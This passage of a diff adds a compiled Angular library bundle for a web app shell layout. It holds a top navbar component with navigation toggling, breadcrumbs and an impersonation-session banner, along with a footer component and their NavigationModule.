ngOnDestroy() {
|
311
|
+
this.unsubscribe$.next();
|
312
|
+
this.unsubscribe$.complete();
|
313
|
+
clearInterval(this.interval);
|
314
|
+
}
|
315
|
+
updateTitle() {
|
316
|
+
var _a, _b;
|
317
|
+
const firstChild = this.route.snapshot.firstChild;
|
318
|
+
this.title = 'Untitled Page';
|
319
|
+
this.breadcrumbs = [];
|
320
|
+
const topnavbar = (_b = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.data) === null || _a === void 0 ? void 0 : _a.sfData) === null || _b === void 0 ? void 0 : _b.topnavbar;
|
321
|
+
if (topnavbar) {
|
322
|
+
if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.title)
|
323
|
+
this.title = topnavbar.title;
|
324
|
+
if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.breadcrumbs)
|
325
|
+
this.breadcrumbs = topnavbar.breadcrumbs;
|
326
|
+
}
|
327
|
+
}
|
328
|
+
toggleNavigation() {
|
329
|
+
if (this.expanded === true) {
|
330
|
+
this.retractNavigation();
|
331
|
+
this.toggleNavigationExpanded.emit(false);
|
332
|
+
this.expanded = false;
|
333
|
+
}
|
334
|
+
else if (this.expanded === false) {
|
335
|
+
this.expandNavigation();
|
336
|
+
this.toggleNavigationExpanded.emit(true);
|
337
|
+
this.expanded = true;
|
338
|
+
}
|
339
|
+
if (this.router.url === '/dashboard') {
|
340
|
+
// triggers a redraw of gridster and the graphs
|
341
|
+
window.dispatchEvent(new Event('resize'));
|
342
|
+
}
|
343
|
+
}
|
344
|
+
expandNavigation() {
|
345
|
+
$('body').removeClass('mini-navbar');
|
346
|
+
this.topNavbarService.smoothlyMenu();
|
347
|
+
this.navigationService.expandActiveSubMenu();
|
348
|
+
}
|
349
|
+
retractNavigation() {
|
350
|
+
$('body').addClass('mini-navbar');
|
351
|
+
this.topNavbarService.smoothlyMenu();
|
352
|
+
this.navigationService.collapseSubMenus();
|
353
|
+
}
|
354
|
+
setUpSidebarExpanded() {
|
355
|
+
var _a;
|
356
|
+
if (((_a = this.userData) === null || _a === void 0 ? void 0 : _a.sidebarExpanded) === false) {
|
357
|
+
this.toggleNavigation();
|
358
|
+
}
|
359
|
+
}
|
360
|
+
}
|
361
|
+
WlTopNavbarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, deps: [{ token: i1.ActivatedRoute }, { token: i1.Router }, { token: WlTopNavbarService }, { token: NavigationService }, { token: i4$1.Title }], target: i0.ɵɵFactoryTarget.Component });
|
362
|
+
WlTopNavbarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlTopNavbarComponent, selector: "wl-shell-top-navbar", inputs: { environment: "environment", userData: "userData" }, outputs: { logout: "logout", changeLocale: "changeLocale", openFeedbackModal: "openFeedbackModal", endImpersonationSession: "endImpersonationSession", toggleNavigationExpanded: "toggleNavigationExpanded" }, usesOnChanges: true, ngImport: i0, template: "<div class=\"topnavbar-wrapper\">\n <div class=\"navbar-row row border-bottom\">\n <nav\n class=\"navbar navbar-static-top\"\n [ngClass]=\"{\n 'impersonated-user': impersonatedUser,\n 'white-bg': !impersonatedUser\n }\"\n role=\"navigation\"\n >\n <div class=\"navbar-header\">\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"toggleNavigation()\">\n <em class=\"fas fa-lg fa-bars toggle-navigation\"></em>\n </a>\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" [href]=\"legacyUrl\">SIMPro 4</a>\n <a *ngIf=\"!impersonatedUser\" class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"openFeedbackModal.emit(true)\"\n >{{ \"GUIBundle.generic.feedback\" | translate }}</a\n >\n <ul class=\"nav navbar-top-links navbar-left beta-version\">\n <li>\n <a><em> </em></a>\n </li>\n </ul>\n </div>\n </nav>\n </div>\n\n <div class=\"navbar-right-fixed upper\">\n <ul *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right impersonated-user\">\n <li>{{ \"GUIBundle.views.impersonate.impersonation_session_expire_in\" | translate }}: {{ counterValue }} |</li>\n <li>\n <a class=\"text-white\" (click)=\"endImpersonationSession.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.views.impersonate.end_impersonation_session\" | translate }}\n </a>\n </li>\n </ul>\n <ul *ngIf=\"!impersonatedUser\" class=\"nav navbar-top-links navbar-right\">\n <li class=\"logout-list-item\">\n <a (click)=\"logout.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.generic.logout\" | translate }}\n </a>\n </li>\n </ul>\n <div *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right language-select\">\n <select class=\"form-control choose-language\" [(ngModel)]=\"locale\">\n <option *ngFor=\"let lang of userData?.locales\" value=\"{{ lang.id }}\">{{ lang.text }}</option>\n </select>\n </div>\n </div>\n <p>ajhsadashadsh</p>\n <wll-empty-block region=\"upper\"></wll-empty-block>\n\n<!-- <div class=\"navbar-right-fixed lower\">-->\n<!-- <app-service-status></app-service-status>-->\n<!-- </div>-->\n\n <div class=\"lower-navbar-wrapper\">\n <div class=\"breadcrumbs-wrapper\">\n <wll-breadcrumbs [title]=\"title\" [breadcrumbs]=\"breadcrumbs\"></wll-breadcrumbs>\n </div>\n </div>\n\n <wll-empty-block region=\"lower\"></wll-empty-block>\n\n <div class=\"navbar-gap\"></div>\n</div>\n", styles: ["ul{position:relative;left:25px}.navbar{position:fixed;border-bottom:1px solid #ccc;margin-bottom:0;width:100%}.navbar-right-fixed{position:fixed;top:0;right:0}.navbar-right-fixed.upper{top:0;z-index:1000}.navbar-right-fixed.lower{top:73px;width:270px;margin-right:35px;z-index:3}.logout-list-item{position:relative;right:40px}.logout-list-item a:hover{color:#696c6e}.navbar-minimalize{border:1px solid #ececec;color:#878787;margin-left:25px}.navbar-minimalize:hover{color:#273646}.lower-navbar-wrapper{width:100%;position:fixed;height:81px;z-index:2;background-color:#f3f3f4;border-bottom:1px solid #ececec;margin-left:-15px}.breadcrumbs-wrapper{margin:12px 0 0 23px}.navbar-gap{height:12px}.navbar-left{float:left}.beta-version a{cursor:default;opacity:0}.impersonated-user{background-color:#d9534f;color:#fff}.impersonated-user .navbar-minimalize,.nav.navbar-right ul.impersonated-user,.nav.navbar-right.impersonated-user>li>a{color:#fff}.language-select{margin-top:14px}\n"], components: [{ type: i5$1.WlEmptyBlockComponent, selector: "wll-empty-block", inputs: ["region"] }, { type: i5$1.BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: ["title", "breadcrumbs", "homeRoute"] }], directives: [{ type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i7.SelectControlValueAccessor, selector: "select:not([multiple])[formControlName],select:not([multiple])[formControl],select:not([multiple])[ngModel]", inputs: ["compareWith"] }, { type: i7.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i7.NgModel, selector: "[ngModel]:not([formControlName]):not([formControl])", inputs: ["name", "disabled", "ngModel", "ngModelOptions"], outputs: ["ngModelChange"], exportAs: ["ngModel"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i7.NgSelectOption, selector: "option", inputs: ["ngValue", "value"] }, { type: i7.ɵNgSelectMultipleOption, selector: "option", inputs: ["ngValue", "value"] }], pipes: { "translate": i5.TranslatePipe } });
|
363
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, decorators: [{
|
364
|
+
type: Component,
|
365
|
+
args: [{
|
366
|
+
selector: 'wl-shell-top-navbar',
|
367
|
+
templateUrl: './wl-top-navbar.component.html',
|
368
|
+
styleUrls: ['./wl-top-navbar.component.scss']
|
369
|
+
}]
|
370
|
+
}], ctorParameters: function () { return [{ type: i1.ActivatedRoute }, { type: i1.Router }, { type: WlTopNavbarService }, { type: NavigationService }, { type: i4$1.Title }]; }, propDecorators: { environment: [{
|
371
|
+
type: Input
|
372
|
+
}], userData: [{
|
373
|
+
type: Input
|
374
|
+
}], logout: [{
|
375
|
+
type: Output
|
376
|
+
}], changeLocale: [{
|
377
|
+
type: Output
|
378
|
+
}], openFeedbackModal: [{
|
379
|
+
type: Output
|
380
|
+
}], endImpersonationSession: [{
|
381
|
+
type: Output
|
382
|
+
}], toggleNavigationExpanded: [{
|
383
|
+
type: Output
|
384
|
+
}] } });
|
385
|
+
|
386
|
+
class WlFooterComponent {
|
387
|
+
constructor() {
|
388
|
+
this.copyright = "";
|
389
|
+
}
|
390
|
+
}
|
391
|
+
WlFooterComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
392
|
+
WlFooterComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlFooterComponent, selector: "wl-shell-footer", inputs: { copyright: "copyright" }, ngImport: i0, template: "<div class=\"row m-b\"></div>\n<br />\n<!-- Live Status-->\n<!--<app-live-messages></app-live-messages>-->\n\n<div class=\"page-footer\">\n <strong [innerHTML]=\"copyright\"></strong>\n</div>\n", styles: [".page-footer{background-color:#fff;position:fixed;width:100%;bottom:0;margin:0 0 0 -15px;padding:5px 25px;opacity:.9;z-index:99998}.page-footer-right-fixed{position:fixed;bottom:0;right:0;background-color:transparent;padding:5px 25px;z-index:99999}\n"] });
|
393
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, decorators: [{
|
394
|
+
type: Component,
|
395
|
+
args: [{
|
396
|
+
selector: 'wl-shell-footer',
|
397
|
+
templateUrl: './wl-footer.component.html',
|
398
|
+
styleUrls: ['./wl-footer.component.scss']
|
399
|
+
}]
|
400
|
+
}], propDecorators: { copyright: [{
|
401
|
+
type: Input
|
402
|
+
}] } });
|
403
|
+
|
404
|
+
class NavigationModule {
|
405
|
+
}
|
406
|
+
NavigationModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
407
|
+
NavigationModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, declarations: [WlNavigationComponent,
|
408
|
+
WlTopNavbarComponent,
|
409
|
+
WlFooterComponent], imports: [CommonModule,
|
410
|
+
TranslateModule,
|
411
|
+
RouterModule,
|
412
|
+
FormsModule,
|
413
|
+
WlBreadcrumbsModule,
|
414
|
+
WlEmptyBlockModule], exports: [WlNavigationComponent,
|
415
|
+
WlTopNavbarComponent,
|
416
|
+
WlFooterComponent] });
|
417
|
+
NavigationModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, imports: [[
|
418
|
+
CommonModule,
|
419
|
+
TranslateModule,
|
420
|
+
RouterModule,
|
421
|
+
FormsModule,
|
422
|
+
WlBreadcrumbsModule,
|
423
|
+
WlEmptyBlockModule
|
424
|
+
]] });
|
425
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, decorators: [{
|
426
|
+
type: NgModule,
|
427
|
+
args: [{
|
428
|
+
declarations: [
|
429
|
+
WlNavigationComponent,
|
430
|
+
WlTopNavbarComponent,
|
431
|
+
WlFooterComponent,
|
432
|
+
],
|
433
|
+
imports: [
|
434
|
+
CommonModule,
|
435
|
+
TranslateModule,
|
436
|
+
RouterModule,
|
437
|
+
FormsModule,
|
438
|
+
WlBreadcrumbsModule,
|
439
|
+
WlEmptyBlockModule
|
440
|
+
],
|
441
|
+
exports: [
|
442
|
+
WlNavigationComponent,
|
443
|
+
WlTopNavbarComponent,
|
444
|
+
WlFooterComponent
|
445
|
+
]
|
446
|
+
}]
|
447
|
+
}] });
|
448
|
+
|
449
|
+
/*
|
450
|
+
* Public API Surface of wl-shell-layout
|
451
|
+
*/
|
452
|
+
|
453
|
+
/**
|
454
|
+
* Generated bundle index. Do not edit.
|
455
|
+
*/
|
456
|
+
|
457
|
+
export { NavigationModule, NavigationService, WlFooterComponent, WlNavigationComponent, WlTopNavbarComponent, WlTopNavbarService };
|